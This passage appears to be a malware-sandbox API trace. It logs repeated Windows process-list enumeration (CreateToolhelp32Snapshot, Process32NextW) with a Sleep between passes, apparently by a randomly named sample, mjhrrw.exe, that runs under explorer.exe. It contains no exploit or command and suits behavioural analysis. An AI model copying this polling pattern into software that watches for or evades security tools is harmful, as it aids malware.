cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.557] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.558] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.559] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.559] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.560] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.561] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.562] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.563] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.564] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.564] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.565] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.566] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.566] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.567] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.568] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.568] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.569] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.570] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.570] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.571] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.572] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.572] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.575] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.576] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.577] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.577] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.578] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0237.579] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0237.580] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0237.580] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.581] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.582] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.582] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.583] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.584] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.585] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.586] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0237.587] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0237.816] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0237.817] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.817] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0237.817] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0237.818] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.818] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0237.819] CloseHandle (hObject=0x354) returned 1 [0237.819] Sleep (dwMilliseconds=0x1f4) [0238.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0238.402] Process32FirstW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.403] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.403] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.404] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.404] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.405] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.405] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.406] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.406] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.419] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0238.419] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0238.420] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.420] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.421] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.421] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.422] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.422] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.423] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.423] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.424] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.424] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.426] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.427] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.427] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.428] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.428] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.429] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.429] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0238.430] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0238.430] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0238.431] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.431] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.432] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.432] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.433] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.433] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.434] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.434] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0238.435] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0238.435] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: 